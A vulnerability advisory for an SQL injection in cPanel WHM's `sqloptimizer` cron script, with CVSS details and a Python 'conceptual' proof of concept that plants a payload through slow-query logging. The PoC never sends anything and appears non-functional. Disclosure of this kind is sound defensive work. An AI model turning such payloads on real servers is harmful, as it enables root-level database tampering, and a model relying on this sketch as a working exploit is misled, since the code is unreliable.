Insufficient sanitization of SQL queries in the `sqloptimizer` utility script allows SQL Injections on behalf of the root user if Slow Query logging is enabled.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Configurations (Affected Products)
No configuration data available.
cPanel WHM versions prior to the May 13, 2026 security update (WP2)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-29206
# The vulnerability is triggered when the 'sqloptimizer' script processes a malicious slow query log.
import socket
import time
# Target configuration
target_host = 'target-cpanel-server'
port = 3306 # MySQL port
# Malicious payload designed to be injected via the slow query log
# The payload attempts to create a new table as proof of execution
malicious_sql = "CREATE TABLE cve_2026_29206_poc (data VARCHAR(255));"
# Construct a query that will be slow enough to be logged (Sleep > long_query_time)
# and contains the SQL injection payload
payload_query = f"SELECT SLEEP(10), '{malicious_sql}'"
print(f"[*] Attempting to trigger slow query logging with payload...")
print(f"[*] Payload: {payload_query}")
# In a real attack scenario, this payload would be sent to an application
# that performs database queries, which are then logged.
# Once logged, the sqloptimizer script runs (via cron) and executes the injection.
print("[*] Waiting for sqloptimizer cron job to process logs...")
time.sleep(60)
print("[*] Check if the table 'cve_2026_29206_poc' exists in the database.")